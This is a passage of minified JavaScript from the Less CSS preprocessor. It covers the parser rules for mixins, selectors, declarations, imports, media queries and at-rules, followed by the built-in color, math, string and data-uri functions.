i,o,a,u,h=s.currentChar(),c=!1,f=s.i;if("."===h||"#"===h){if(s.save(),o=this.elements()){if(s.$char("(")&&(a=this.args(!0).args,l(")"),u=!0),!1!==t&&(i=this.ruleLookups()),!0===t&&!i)return void s.restore();if(e&&!i&&!u)return void s.restore();if(!e&&r.important()&&(c=!0),e||r.end()){s.forget();var p=new Ce.mixin.Call(o,a,f,n,!i&&c);return i?new Ce.NamespaceValue(p,i):p}}s.restore()}},elements:function(){for(var e,t,i,r,o,a=/^[#.](?:[\w-]|\\(?:[A-Fa-f0-9]{1,6} ?|[^A-Fa-f0-9]))+/;o=s.i,t=s.$re(a);)r=new Ce.Element(i,t,!1,o,n),e?e.push(r):e=[r],i=s.$char(">");return e},args:function(e){var t,i,n,a,l,u,h,c=r.entities,f={args:null,variadic:!1},p=[],d=[],v=[],m=!0;for(s.save();;){if(e)u=r.detachedRuleset()||r.expression();else{if(s.commentStore.length=0,s.$str("...")){f.variadic=!0,s.$char(";")&&!t&&(t=!0),(t?d:v).push({variadic:!0});break}u=c.variable()||c.property()||c.literal()||c.keyword()||this.call(!0)}if(!u||!m)break;a=null,u.throwAwayComments&&u.throwAwayComments(),l=u;var g=null;if(e?u.value&&1==u.value.length&&(g=u.value[0]):g=u,g&&(g instanceof Ce.Variable||g instanceof Ce.Property))if(s.$char(":")){if(p.length>0&&(t&&o("Cannot mix ; and , as delimiter types"),i=!0),!(l=r.detachedRuleset()||r.expression())){if(!e)return s.restore(),f.args=[],f;o("could not understand value for named argument")}a=n=g.name}else if(s.$str("...")){if(!e){f.variadic=!0,s.$char(";")&&!t&&(t=!0),(t?d:v).push({name:u.name,variadic:!0});break}h=!0}else e||(n=a=g.name,l=null);l&&p.push(l),v.push({name:a,value:l,expand:h}),s.$char(",")?m=!0:((m=";"===s.$char(";"))||t)&&(i&&o("Cannot mix ; and , as delimiter types"),t=!0,p.length>1&&(l=new Ce.Value(p)),d.push({name:n,value:l,expand:h}),n=null,p=[],i=!1)}return s.forget(),f.args=t?d:v,f},definition:function(){var e,t,i,n,o=[],l=!1;if(!("."!==s.currentChar()&&"#"!==s.currentChar()||s.peek(/^[^{]*\}/)))if(s.save(),t=s.$re(/^([#.](?:[\w-]|\\(?:[A-Fa-f0-9]{1,6} ?|[^A-Fa-f0-9]))+)\s*\(/)){e=t[1];var u=this.args(!1);if(o=u.args,l=u.variadic,!s.$char(")"))return void s.restore("Missing closing ')'");if(s.commentStore.length=0,s.$str("when")&&(n=a(r.conditions,"expected condition")),i=r.block())return s.forget(),new Ce.mixin.Definition(e,o,i,n,l);s.restore()}else s.restore()},ruleLookups:function(){var e,t=[];if("["===s.currentChar()){for(;;){if(s.save(),!(e=this.lookupValue())&&""!==e){s.restore();break}t.push(e),s.forget()}return t.length>0?t:void 0}},lookupValue:function(){if(s.save(),s.$char("[")){var e=s.$re(/^(?:[@$]{0,2})[_a-zA-Z0-9-]*/);if(s.$char("]"))return e||""===e?(s.forget(),e):void s.restore();s.restore()}else s.restore()}},entity:function(){var e=this.entities;return this.comment()||e.literal()||e.variable()||e.url()||e.property()||e.call()||e.keyword()||this.mixin.call(!0)||e.javascript()},end:function(){return s.$char(";")||s.peek("}")},ieAlpha:function(){var e;if(s.$re(/^opacity=/i))return(e=s.$re(/^\d+/))||(e="@{"+(e=a(r.entities.variable,"Could not parse alpha")).name.slice(1)+"}"),l(")"),new Ce.Quoted("","alpha(opacity="+e+")")},element:function(){var e,t,i,r=s.i;if(t=this.combinator(),(e=s.$re(/^(?:\d+\.\d+|\d+)%/)||s.$re(/^(?:[.#]?|:*)(?:[\w-]|[^\x00-\x9f]|\\(?:[A-Fa-f0-9]{1,6} ?|[^A-Fa-f0-9]))+/)||s.$char("*")||s.$char("&")||this.attribute()||s.$re(/^\([^&()@]+\)/)||s.$re(/^[\.#:](?=@)/)||this.entities.variableCurly())||(s.save(),s.$char("(")?(i=this.selector(!1))&&s.$char(")")?(e=new Ce.Paren(i),s.forget()):s.restore("Missing closing ')'"):s.forget()),e)return new Ce.Element(t,e,e instanceof Ce.Variable,r,n)},combinator:function(){var e=s.currentChar();if("/"===e){s.save();var t=s.$re(/^\/[a-z]+\//i);if(t)return s.forget(),new Ce.Combinator(t);s.restore()}if(">"===e||"+"===e||"~"===e||"|"===e||"^"===e){for(s.i++,"^"===e&&"^"===s.currentChar()&&(e="^^",s.i++);s.isWhitespace();)s.i++;return new Ce.Combinator(e)}return s.isWhitespace(-1)?new Ce.Combinator(" "):new Ce.Combinator(null)},selector:function(e){var t,i,r,l,u,h,c,f=s.i;for(e=!1!==e;(e&&(i=this.extend())||e&&(h=s.$str("when"))||(l=this.element()))&&(h?c=a(this.conditions,"expected condition"):c?o("CSS guard can only be used at the end of selector"):i?u=u?u.concat(i):i:(u&&o("Extend can only be used at the end of selector"),r=s.currentChar(),t?t.push(l):t=[l],l=null),"{"!==r&&"}"!==r&&";"!==r&&","!==r&&")"!==r););if(t)return new Ce.Selector(t,u,c,f,n);u&&o("Extend must be used to extend a selector, it cannot be used on its own")},selectors:function(){for(var e,t;(e=this.selector())&&(t?t.push(e):t=[e],s.commentStore.length=0,e.condition&&t.length>1&&o("Guards are only currently allowed on a single selector."),s.$char(","));)e.condition&&o("Guards are only currently allowed on a single selector."),s.commentStore.length=0;return t},attribute:function(){if(s.$char("[")){var e,t,i,n=this.entities;return(e=n.variableCurly())||(e=a(/^(?:[_A-Za-z0-9-\*]*\|)?(?:[_A-Za-z0-9-]|\\.)+/)),(i=s.$re(/^[|~*$^]?=/))&&(t=n.quoted()||s.$re(/^[0-9]+%/)||s.$re(/^[\w-]+/)||n.variableCurly()),l("]"),new Ce.Attribute(e,i,t)}},block:function(){var e;if(s.$char("{")&&(e=this.primary())&&s.$char("}"))return e},blockRuleset:function(){var e=this.block();return e&&(e=new Ce.Ruleset(null,e)),e},detachedRuleset:function(){var e,t,i;if(s.save(),!s.$re(/^[.#]\(/)||(t=(e=this.mixin.args(!1)).args,i=e.variadic,s.$char(")"))){var n=this.blockRuleset();if(n)return s.forget(),t?new Ce.mixin.Definition(null,t,n,null,i):new Ce.DetachedRuleset(n);s.restore()}else s.restore()},ruleset:function(){var e,i,n;if(s.save(),t.dumpLineNumbers&&(n=u(s.i)),(e=this.selectors())&&(i=this.block())){s.forget();var r=new Ce.Ruleset(e,i,t.strictImports);return t.dumpLineNumbers&&(r.debugInfo=n),r}s.restore()},declaration:function(){var e,t,i,r,o,a,l=s.i,u=s.currentChar();if("."!==u&&"#"!==u&&"&"!==u&&":"!==u)if(s.save(),e=this.variable()||this.ruleProperty()){if((a="string"==typeof e)&&(t=this.detachedRuleset())&&(i=!0),s.commentStore.length=0,!t){if(o=!a&&e.length>1&&e.pop().value,t=e[0].value&&"--"===e[0].value.slice(0,2)?this.permissiveValue():this.anonymousValue())return s.forget(),new Ce.Declaration(e,t,!1,o,l,n);t||(t=this.value()),t?r=this.important():a&&(t=this.permissiveValue())}if(t&&(this.end()||i))return s.forget(),new Ce.Declaration(e,t,r,o,l,n);s.restore()}else s.restore()},anonymousValue:function(){var e=s.i,t=s.$re(/^([^.#@\$+\/'"*`(;{}-]*);/);if(t)return new Ce.Anonymous(t[1],e)},permissiveValue:function(e){var t,i,r,a,l=e||";",u=s.i,h=[];function c(){var e=s.currentChar();return"string"==typeof l?e===l:l.test(e)}if(!c()){a=[];do{((i=this.comment())||(i=this.entity()))&&a.push(i)}while(i);if(r=c(),a.length>0){if(a=new Ce.Expression(a),r)return a;h.push(a)," "===s.prevChar()&&h.push(new Ce.Anonymous(" ",u))}if(s.save(),a=s.$parseUntil(l)){if("string"==typeof a&&o("Expected '"+a+"'","Parse"),1===a.length&&" "===a[0])return s.forget(),new Ce.Anonymous("",u);var f=void 0;for(t=0;t<a.length;t++)if(f=a[t],Array.isArray(f))h.push(new Ce.Quoted(f[0],f[1],!0,u,n));else{t===a.length-1&&(f=f.trim());var p=new Ce.Quoted("'",f,!0,u,n);p.variableRegex=/@([\w-]+)/g,p.propRegex=/\$([\w-]+)/g,h.push(p)}return s.forget(),new Ce.Expression(h,!0)}s.restore()}},import:function(){var e,t,i=s.i,r=s.$re(/^@import?\s+/);if(r){var a=(r?this.importOptions():null)||{};if(e=this.entities.quoted()||this.entities.url())return t=this.mediaFeatures(),s.$char(";")||(s.i=i,o("missing semi-colon or unrecognised media features on import")),t=t&&new Ce.Value(t),new Ce.Import(e,t,a,i,n);s.i=i,o("malformed import statement")}},importOptions:function(){var e,t,i,n={};if(!s.$char("("))return null;do{if(e=this.importOption()){switch(i=!0,t=e){case"css":t="less",i=!1;break;case"once":t="multiple",i=!1}if(n[t]=i,!s.$char(","))break}}while(e);return l(")"),n},importOption:function(){var e=s.$re(/^(less|css|multiple|once|inline|reference|optional)/);if(e)return e[1]},mediaFeature:function(){var e,t,i=this.entities,r=[];s.save();do{(e=i.keyword()||i.variable()||i.mixinLookup())?r.push(e):s.$char("(")&&(t=this.property(),e=this.value(),s.$char(")")?t&&e?r.push(new Ce.Paren(new Ce.Declaration(t,e,null,null,s.i,n,!0))):e?r.push(new Ce.Paren(e)):o("badly formed media feature definition"):o("Missing closing ')'","Parse"))}while(e);if(s.forget(),r.length>0)return new Ce.Expression(r)},mediaFeatures:function(){var e,t=this.entities,i=[];do{if(e=this.mediaFeature()){if(i.push(e),!s.$char(","))break}else if((e=t.variable()||t.mixinLookup())&&(i.push(e),!s.$char(",")))break}while(e);return i.length>0?i:null},media:function(){var e,i,r,a,l=s.i;if(t.dumpLineNumbers&&(a=u(l)),s.save(),s.$str("@media"))return e=this.mediaFeatures(),(i=this.block())||o("media definitions require block statements after any features"),s.forget(),r=new Ce.Media(i,e,l,n),t.dumpLineNumbers&&(r.debugInfo=a),r;s.restore()},plugin:function(){var e,t,i,r=s.i;if(s.$re(/^@plugin?\s+/)){if(i=(t=this.pluginArgs())?{pluginArgs:t,isPlugin:!0}:{isPlugin:!0},e=this.entities.quoted()||this.entities.url())return s.$char(";")||(s.i=r,o("missing semi-colon on @plugin")),new Ce.Import(e,null,i,r,n);s.i=r,o("malformed @plugin statement")}},pluginArgs:function(){if(s.save(),!s.$char("("))return s.restore(),null;var e=s.$re(/^\s*([^\);]+)\)\s*/);return e[1]?(s.forget(),e[1].trim()):(s.restore(),null)},atrule:function(){var e,i,r,a,l,h,c,f=s.i,p=!0,d=!0;if("@"===s.currentChar()){if(i=this.import()||this.plugin()||this.media())return i;if(s.save(),e=s.$re(/^@[a-z-]+/)){switch(a=e,"-"==e.charAt(1)&&e.indexOf("-",2)>0&&(a="@"+e.slice(e.indexOf("-",2)+1)),a){case"@charset":l=!0,p=!1;break;case"@namespace":h=!0,p=!1;break;case"@keyframes":case"@counter-style":l=!0;break;case"@document":case"@supports":c=!0,d=!1;break;default:c=!0}if(s.commentStore.length=0,l?(i=this.entity())||o("expected "+e+" identifier"):h?(i=this.expression())||o("expected "+e+" expression"):c&&(i=this.permissiveValue(/^[{;]/),p="{"===s.currentChar(),i?i.value||(i=null):p||";"===s.currentChar()||o(e+" rule is missing block or ending semi-colon")),p&&(r=this.blockRuleset()),r||!p&&i&&s.$char(";"))return s.forget(),new Ce.AtRule(e,i,r,f,n,t.dumpLineNumbers?u(f):null,d);s.restore("at-rule options not recognised")}}},value:function(){var e,t=[],i=s.i;do{if((e=this.expression())&&(t.push(e),!s.$char(",")))break}while(e);if(t.length>0)return new Ce.Value(t,i)},important:function(){if("!"===s.currentChar())return s.$re(/^! *important/)},sub:function(){var e,t;if(s.save(),s.$char("("))return(e=this.addition())&&s.$char(")")?(s.forget(),(t=new Ce.Expression([e])).parens=!0,t):void s.restore("Expected ')'");s.restore()},multiplication:function(){var e,t,i,n,r;if(e=this.operand()){for(r=s.isWhitespace(-1);!s.peek(/^\/[*\/]/);){if(s.save(),!(i=s.$char("/")||s.$char("*")||s.$str("./"))){s.forget();break}if(!(t=this.operand())){s.restore();break}s.forget(),e.parensInOp=!0,t.parensInOp=!0,n=new Ce.Operation(i,[n||e,t],r),r=s.isWhitespace(-1)}return n||e}},addition:function(){var e,t,i,n,r;if(e=this.multiplication()){for(r=s.isWhitespace(-1);(i=s.$re(/^[-+]\s+/)||!r&&(s.$char("+")||s.$char("-")))&&(t=this.multiplication());)e.parensInOp=!0,t.parensInOp=!0,n=new Ce.Operation(i,[n||e,t],r),r=s.isWhitespace(-1);return n||e}},conditions:function(){var e,t,i,n=s.i;if(e=this.condition(!0)){for(;s.peek(/^,\s*(not\s*)?\(/)&&s.$char(",")&&(t=this.condition(!0));)i=new Ce.Condition("or",i||e,t,n);return i||e}},condition:function(e){var t,i,n;if(t=this.conditionAnd(e)){if(i=s.$str("or")){if(!(n=this.condition(e)))return;t=new Ce.Condition(i,t,n)}return t}},conditionAnd:function(e){var t,i,n,r,o=this;if(t=(r=o.negatedCondition(e)||o.parenthesisCondition(e))||e?r:o.atomicCondition(e)){if(i=s.$str("and")){if(!(n=this.conditionAnd(e)))return;t=new Ce.Condition(i,t,n)}return t}},negatedCondition:function(e){if(s.$str("not")){var t=this.parenthesisCondition(e);return t&&(t.negate=!t.negate),t}},parenthesisCondition:function(e){var t;if(s.save(),s.$str("(")){if(t=function(t){var i;if(s.save(),i=t.condition(e)){if(s.$char(")"))return s.forget(),i;s.restore()}else s.restore()}(this))return s.forget(),t;if(t=this.atomicCondition(e)){if(s.$char(")"))return s.forget(),t;s.restore("expected ')' got '"+s.currentChar()+"'")}else s.restore()}else s.restore()},atomicCondition:function(e){var t,i,n,r,a=this.entities,l=s.i;function u(){return this.addition()||a.keyword()||a.quoted()||a.mixinLookup()}if(t=(u=u.bind(this))())return s.$char(">")?r=s.$char("=")?">=":">":s.$char("<")?r=s.$char("=")?"<=":"<":s.$char("=")&&(r=s.$char(">")?"=>":s.$char("<")?"=<":"="),r?(i=u())?n=new Ce.Condition(r,t,i,l,!1):o("expected expression"):n=new Ce.Condition("=",t,new Ce.Keyword("true"),l,!1),n},operand:function(){var e,t=this.entities;s.peek(/^-[@\$\(]/)&&(e=s.$char("-"));var i=this.sub()||t.dimension()||t.color()||t.variable()||t.property()||t.call()||t.quoted(!0)||t.colorKeyword()||t.mixinLookup();return e&&(i.parensInOp=!0,i=new Ce.Negative(i)),i},expression:function(){var e,t,i=[],n=s.i;do{(e=this.comment())?i.push(e):((e=this.addition()||this.entity())instanceof Ce.Comment&&(e=null),e&&(i.push(e),s.peek(/^\/[\/*]/)||(t=s.$char("/"))&&i.push(new Ce.Anonymous(t,n))))}while(e);if(i.length>0)return new Ce.Expression(i)},property:function(){var e=s.$re(/^(\*?-?[_a-zA-Z0-9-]+)\s*:/);if(e)return e[1]},ruleProperty:function(){var e,t,i=[],r=[];s.save();var o=s.$re(/^([_a-zA-Z0-9-]+)\s*:/);if(o)return i=[new Ce.Keyword(o[1])],s.forget(),i;function a(e){var t=s.i,n=s.$re(e);if(n)return r.push(t),i.push(n[1])}for(a(/^(\*?)/);a(/^((?:[\w-]+)|(?:[@\$]\{[\w-]+\}))/););if(i.length>1&&a(/^((?:\+_|\+)?)\s*:/)){for(s.forget(),""===i[0]&&(i.shift(),r.shift()),t=0;t<i.length;t++)e=i[t],i[t]="@"!==e.charAt(0)&&"$"!==e.charAt(0)?new Ce.Keyword(e):"@"===e.charAt(0)?new Ce.Variable("@"+e.slice(2,-1),r[t],n):new Ce.Property("$"+e.slice(2,-1),r[t],n);return i}s.restore()}}}};function ze(e,t,i,n){return t.eval(e)?i.eval(e):n?n.eval(e):new L}Te.serializeVars=function(e){var t="";for(var i in e)if(Object.hasOwnProperty.call(e,i)){var n=e[i];t+=("@"===i[0]?"":"@")+i+": "+n+(";"===String(n).slice(-1)?"":";")}return t},ze.evalArgs=!1;var Ge,We={boolean:function(e){return e?O.True:O.False},if:ze};function Je(e){return Math.min(1,Math.max(0,e))}function He(e,t){var i=Ge.hsla(t.h,t.s,t.l,t.a);if(i)return e.value&&/^(rgb|hsl)/.test(e.value)?i.value=e.value:i.value="rgb",i}function Qe(e){if(e.toHSL)return e.toHSL();throw new Error("Argument cannot be evaluated to a color")}function Ke(e){if(e.toHSV)return e.toHSV();throw new Error("Argument cannot be evaluated to a color")}function Ze(e){if(e instanceof X)return parseFloat(e.unit.is("%")?e.value/100:e.value);if("number"==typeof e)return e;throw{type:"Argument",message:"color functions take numbers as parameters"}}var Ye=Ge={rgb:function(e,t,i){var n=Ge.rgba(e,t,i,1);if(n)return n.value="rgb",n},rgba:function(e,t,i,n){try{if(e instanceof f)return n=t?Ze(t):e.alpha,new f(e.rgb,n,"rgba");var r=[e,t,i].map((function(e){return i=255,(t=e)instanceof X&&t.unit.is("%")?parseFloat(t.value*i/100):Ze(t);var t,i}));return n=Ze(n),new f(r,n,"rgba")}catch(e){}},hsl:function(e,t,i){var n=Ge.hsla(e,t,i,1);if(n)return n.value="hsl",n},hsla:function(e,t,i,n){try{if(e instanceof f)return n=t?Ze(t):e.alpha,new f(e.rgb,n,"hsla");var r,s;function o(e){return 6*(e=e<0?e+1:e>1?e-1:e)<1?r+(s-r)*e*6:2*e<1?s:3*e<2?r+(s-r)*(2/3-e)*6:r}e=Ze(e)%360/360,t=Je(Ze(t)),i=Je(Ze(i)),n=Je(Ze(n)),r=2*i-(s=i<=.5?i*(t+1):i+t-i*t);var a=[255*o(e+1/3),255*o(e),255*o(e-1/3)];return n=Ze(n),new f(a,n,"hsla")}catch(e){}},hsv:function(e,t,i){return Ge.hsva(e,t,i,1)},hsva:function(e,t,i,n){var r,s;e=Ze(e)%360/360*360,t=Ze(t),i=Ze(i),n=Ze(n);var o=[i,i*(1-t),i*(1-(s=e/60-(r=Math.floor(e/60%6)))*t),i*(1-(1-s)*t)],a=[[0,3,1],[2,0,1],[1,0,3],[1,2,0],[3,1,0],[0,1,2]];return Ge.rgba(255*o[a[r][0]],255*o[a[r][1]],255*o[a[r][2]],n)},hue:function(e){return new X(Qe(e).h)},saturation:function(e){return new X(100*Qe(e).s,"%")},lightness:function(e){return new X(100*Qe(e).l,"%")},hsvhue:function(e){return new X(Ke(e).h)},hsvsaturation:function(e){return new X(100*Ke(e).s,"%")},hsvvalue:function(e){return new X(100*Ke(e).v,"%")},red:function(e){return new X(e.rgb[0])},green:function(e){return new X(e.rgb[1])},blue:function(e){return new X(e.rgb[2])},alpha:function(e){return new X(Qe(e).a)},luma:function(e){return new X(e.luma()*e.alpha*100,"%")},luminance:function(e){var t=.2126*e.rgb[0]/255+.7152*e.rgb[1]/255+.0722*e.rgb[2]/255;return new X(t*e.alpha*100,"%")},saturate:function(e,t,i){if(!e.rgb)return null;var n=Qe(e);return void 0!==i&&"relative"===i.value?n.s+=n.s*t.value/100:n.s+=t.value/100,n.s=Je(n.s),He(e,n)},desaturate:function(e,t,i){var n=Qe(e);return void 0!==i&&"relative"===i.value?n.s-=n.s*t.value/100:n.s-=t.value/100,n.s=Je(n.s),He(e,n)},lighten:function(e,t,i){var n=Qe(e);return void 0!==i&&"relative"===i.value?n.l+=n.l*t.value/100:n.l+=t.value/100,n.l=Je(n.l),He(e,n)},darken:function(e,t,i){var n=Qe(e);return void 0!==i&&"relative"===i.value?n.l-=n.l*t.value/100:n.l-=t.value/100,n.l=Je(n.l),He(e,n)},fadein:function(e,t,i){var n=Qe(e);return void 0!==i&&"relative"===i.value?n.a+=n.a*t.value/100:n.a+=t.value/100,n.a=Je(n.a),He(e,n)},fadeout:function(e,t,i){var n=Qe(e);return void 0!==i&&"relative"===i.value?n.a-=n.a*t.value/100:n.a-=t.value/100,n.a=Je(n.a),He(e,n)},fade:function(e,t){var i=Qe(e);return i.a=t.value/100,i.a=Je(i.a),He(e,i)},spin:function(e,t){var i=Qe(e),n=(i.h+t.value)%360;return i.h=n<0?360+n:n,He(e,i)},mix:function(e,t,i){i||(i=new X(50));var n=i.value/100,r=2*n-1,s=Qe(e).a-Qe(t).a,o=((r*s==-1?r:(r+s)/(1+r*s))+1)/2,a=1-o,l=[e.rgb[0]*o+t.rgb[0]*a,e.rgb[1]*o+t.rgb[1]*a,e.rgb[2]*o+t.rgb[2]*a],u=e.alpha*n+t.alpha*(1-n);return new f(l,u)},greyscale:function(e){return Ge.desaturate(e,new X(100))},contrast:function(e,t,i,n){if(!e.rgb)return null;if(void 0===i&&(i=Ge.rgba(255,255,255,1)),void 0===t&&(t=Ge.rgba(0,0,0,1)),t.luma()>i.luma()){var r=i;i=t,t=r}return n=void 0===n?.43:Ze(n),e.luma()<n?i:t},argb:function(e){return new L(e.toARGB())},color:function(e){if(e instanceof ue&&/^#([A-Fa-f0-9]{8}|[A-Fa-f0-9]{6}|[A-Fa-f0-9]{3,4})$/i.test(e.value)){var t=e.value.slice(1);return new f(t,void 0,"#"+t)}if(e instanceof f||(e=f.fromKeyword(e.value)))return e.value=void 0,e;throw{type:"Argument",message:"argument must be a color keyword or 3|4|6|8 digit hex e.g. #FFF"}},tint:function(e,t){return Ge.mix(Ge.rgb(255,255,255),e,t)},shade:function(e,t){return Ge.mix(Ge.rgb(0,0,0),e,t)}};function Xe(e,t,i){var n,r,s,o,a=t.alpha,l=i.alpha,u=[];s=l+a*(1-l);for(var h=0;h<3;h++)o=e(n=t.rgb[h]/255,r=i.rgb[h]/255),s&&(o=(l*r+a*(n-l*(n+r-o)))/s),u[h]=255*o;return new f(u,s)}var et={multiply:function(e,t){return e*t},screen:function(e,t){return e+t-e*t},overlay:function(e,t){return(e*=2)<=1?et.multiply(e,t):et.screen(e-1,t)},softlight:function(e,t){var i=1,n=e;return t>.5&&(n=1,i=e>.25?Math.sqrt(e):((16*e-12)*e+4)*e),e-(1-2*t)*n*(i-e)},hardlight:function(e,t){return et.overlay(t,e)},difference:function(e,t){return Math.abs(e-t)},exclusion:function(e,t){return e+t-2*e*t},average:function(e,t){return(e+t)/2},negation:function(e,t){return 1-Math.abs(e+t-1)}};for(var tt in et)et.hasOwnProperty(tt)&&(Xe[tt]=Xe.bind(null,et[tt]));var it=function(e){return Array.isArray(e.value)?e.value:Array(e)},nt={_SELF:function(e){return e},extract:function(e,t){return t=t.value-1,it(e)[t]},length:function(e){return new X(it(e).length)},range:function(e,t,i){var n,r,s=1,o=[];t?(r=t,n=e.value,i&&(s=i.value)):(n=1,r=e);for(var a=n;a<=r.value;a+=s)o.push(new X(a,r.unit));return new ne(o)},each:function(e,t){var i,n,r=this,s=[],o=function(e){return e instanceof c?e.eval(r.context):e};n=!e.value||e instanceof ue?e.ruleset?o(e.ruleset).rules:e.rules?e.rules.map(o):Array.isArray(e)?e.map(o):[o(e)]:Array.isArray(e.value)?e.value.map(o):[o(e.value)];var a="@value",l="@key",u="@index";t.params?(a=t.params[0]&&t.params[0].name,l=t.params[1]&&t.params[1].name,u=t.params[2]&&t.params[2].name,t=t.rules):t=t.ruleset;for(var h=0;h<n.length;h++){var f=void 0,p=void 0,d=n[h];d instanceof N?(f="string"==typeof d.name?d.name:d.name[0].value,p=d.value):(f=new X(h+1),p=d),d instanceof U||(i=t.rules.slice(0),a&&i.push(new N(a,p,!1,!1,this.index,this.currentFileInfo)),u&&i.push(new N(u,new X(h+1),!1,!1,this.index,this.currentFileInfo)),l&&i.push(new N(l,f,!1,!1,this.index,this.currentFileInfo)),s.push(new Q([new F([new y("","&")])],i,t.strictImports,t.visibilityInfo())))}return new Q([new F([new y("","&")])],s,t.strictImports,t.visibilityInfo()).eval(this.context)}},rt=function(e,t,i){if(!(i instanceof X))throw{type:"Argument",message:"argument must be a number"};return null==t?t=i.unit:i=i.unify(),new X(e(parseFloat(i.value)),t)},st={ceil:null,floor:null,sqrt:null,abs:null,tan:"",sin:"",cos:"",atan:"rad",asin:"rad",acos:"rad"};for(var ot in st)st.hasOwnProperty(ot)&&(st[ot]=rt.bind(null,Math[ot],st[ot]));st.round=function(e,t){var i=void 0===t?0:t.value;return rt((function(e){return e.toFixed(i)}),null,e)};var at=function(e,t){switch((t=Array.prototype.slice.call(t)).length){case 0:throw{type:"Argument",message:"one or more arguments required"}}var i,n,r,s,o,a,l,u,h=[],c={};for(i=0;i<t.length;i++)if((r=t[i])instanceof X)if(l=""!==(a=""===(s=""===r.unit.toString()&&void 0!==u?new X(r.value,u).unify():r.unify()).unit.toString()&&void 0!==l?l:s.unit.toString())&&void 0===l||""!==a&&""===h[0].unify().unit.toString()?a:l,u=""!==a&&void 0===u?r.unit.toString():u,void 0!==(n=void 0!==c[""]&&""!==a&&a===l?c[""]:c[a]))o=""===h[n].unit.toString()&&void 0!==u?new X(h[n].value,u).unify():h[n].unify(),(e&&s.value<o.value||!e&&s.value>o.value)&&(h[n]=r);else{if(void 0!==l&&a!==l)throw{type:"Argument",message:"incompatible types"};c[a]=h.length,h.push(r)}else Array.isArray(t[i].value)&&Array.prototype.push.apply(t,Array.prototype.slice.call(t[i].value));return 1==h.length?h[0]:(t=h.map((function(e){return e.toCSS(this.context)})).join(this.context.compress?",":", "),new L((e?"min":"max")+"("+t+")"))},lt={min:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return at(!0,e)},max:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return at(!1,e)},convert:function(e,t){return e.convertTo(t.value)},pi:function(){return new X(Math.PI)},mod:function(e,t){return new X(e.value%t.value,e.unit)},pow:function(e,t){if("number"==typeof e&&"number"==typeof t)e=new X(e),t=new X(t);else if(!(e instanceof X&&t instanceof X))throw{type:"Argument",message:"arguments must be numbers"};return new X(Math.pow(e.value,t.value),e.unit)},percentage:function(e){return rt((function(e){return 100*e}),"%",e)}},ut={e:function(e){return new ue('"',e instanceof de?e.evaluated:e.value,!0)},escape:function(e){return new L(encodeURI(e.value).replace(/=/g,"%3D").replace(/:/g,"%3A").replace(/#/g,"%23").replace(/;/g,"%3B").replace(/\(/g,"%28").replace(/\)/g,"%29"))},replace:function(e,t,i,n){var r=e.value;return i="Quoted"===i.type?i.value:i.toCSS(),r=r.replace(new RegExp(t.value,n?n.value:""),i),new ue(e.quote||"",r,e.escaped)},"%":function(e){for(var t=Array.prototype.slice.call(arguments,1),i=e.value,n=function(e){i=i.replace(/%[sda]/i,(function(i){var n="Quoted"===t[e].type&&i.match(/s/i)?t[e].value:t[e].toCSS();return i.match(/[A-Z]$/)?encodeURIComponent(n):n}))},r=0;r<t.length;r++)n(r);return i=i.replace(/%%/g,"%"),new ue(e.quote||"",i,e.escaped)}},ht=function(e,t){return e instanceof t?O.True:O.False},ct=function(e,t){if(void 0===t)throw{type:"Argument",message:"missing the required second argument to isunit."};if("string"!=typeof(t="string"==typeof t.value?t.value:t))throw{type:"Argument",message:"Second argument to isunit should be a unit or a string."};return e instanceof X&&e.unit.is(t)?O.True:O.False},ft={isruleset:function(e){return ht(e,Z)},iscolor:function(e){return ht(e,f)},isnumber:function(e){return ht(e,X)},isstring:function(e){return ht(e,ue)},iskeyword:function(e){return ht(e,O)},isurl:function(e){return ht(e,he)},ispixel:function(e){return ct(e,"px")},ispercentage:function(e){return ct(e,"%")},isem:function(e){return ct(e,"em")},isunit:ct,unit:function(e,t){if(!(e instanceof X))throw{type:"Argument",message:"the first argument to unit must be a number"+(e instanceof te?". Have you forgotten parenthesis?":"")};return t=t?t instanceof O?t.value:t.toCSS():"",new X(e.value,t)},"get-unit":function(e){return new L(e.unit)}},pt=function(e){var t={functionRegistry:J,functionCaller:re};return J.addMultiple(We),J.add("default",H.eval.bind(H)),J.addMultiple(Ye),J.addMultiple(Xe),J.addMultiple(function(e){var t=function(e,t){return new he(t,e.index,e.currentFileInfo).eval(e.context)};return{"data-uri":function(i,n){n||(n=i,i=null);var r=i&&i.value,s=n.value,o=this.currentFileInfo,a=o.rewriteUrls?o.currentDirectory:o.entryPath,l=s.indexOf("#"),u="";-1!==l&&(u=s.slice(l),s=s.slice(0,l));var h=k(this.context);h.rawBuffer=!0;var c=e.getFileManager(s,a,h,e,!0);if(!c)return t(this,n);var f=!1;if(i)f=/;base64$/.test(r);else{if("image/svg+xml"===(r=e.mimeLookup(s)))f=!1;else{var p=e.charsetLookup(r);f=["US-ASCII","UTF-8"].indexOf(p)<0}f&&(r+=";base64")}var d=c.loadFileSync(s,a,h,e);if(!d.contents)return ke.warn("Skipped data-uri embedding of "+s+" because file not found"),t(this,n||i);var v=d.contents;if(f&&!e.encodeBase64)return t(this,n);var m="data:"+r+","+(v=f?e.encodeBase64(v):encodeURIComponent(v))+u;return new he(new ue('"'+m+'"',m,!1,this.index,this.currentFileInfo),this.index,this.currentFileInfo)}}}(e)),J.addMultiple(nt),J.addMultiple(st),J.addMultiple(lt),J.addMultiple(ut),J.addMultiple({"svg-gradient":function(e){var t,i,n,r,s,o,a,l,u="linear",h='x="0" y="0" width="1" height="1"',c={compress:!1},p=e.toCSS(c);function d(){throw{type:"Argument",message:"svg-gradient expects direction, start_color [start_position], [color position,]..., end_color [end_position] or direction, color list"}}switch(2==arguments.length?(arguments[1].value.length<2&&d(),t=arguments[1].value):arguments.length<3?d():t=Array.prototype.slice.call(arguments,1),p){case"to bottom":i='x1="0%" y1="0%" x2="0%" y2="100%"';break;case"to right":i='x1="0%" y1="0%" x2="100%" y2="0%"';break;case"to bottom right":i='x1="0%" y1="0%" x2="100%" y2="100%"';break;case"to top right":i='x1="0%" y1="100%" x2="100%" y2="0%"';break;case"ellipse":case"ellipse at center":u="radial",i='cx="50%" cy="50%" r="75%"',h='x="-50" y="-50" width="101" height="101"';break;default:throw{type:"Argument",message:"svg-gradient direction must be 'to bottom', 'to right', 'to bottom right', 'to top right' or 'ellipse at center'"}}for(n='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1 1"><'+u+'Gradient id="g" '+i+">",r=0;r<t.length;r+=1)t[r]instanceof 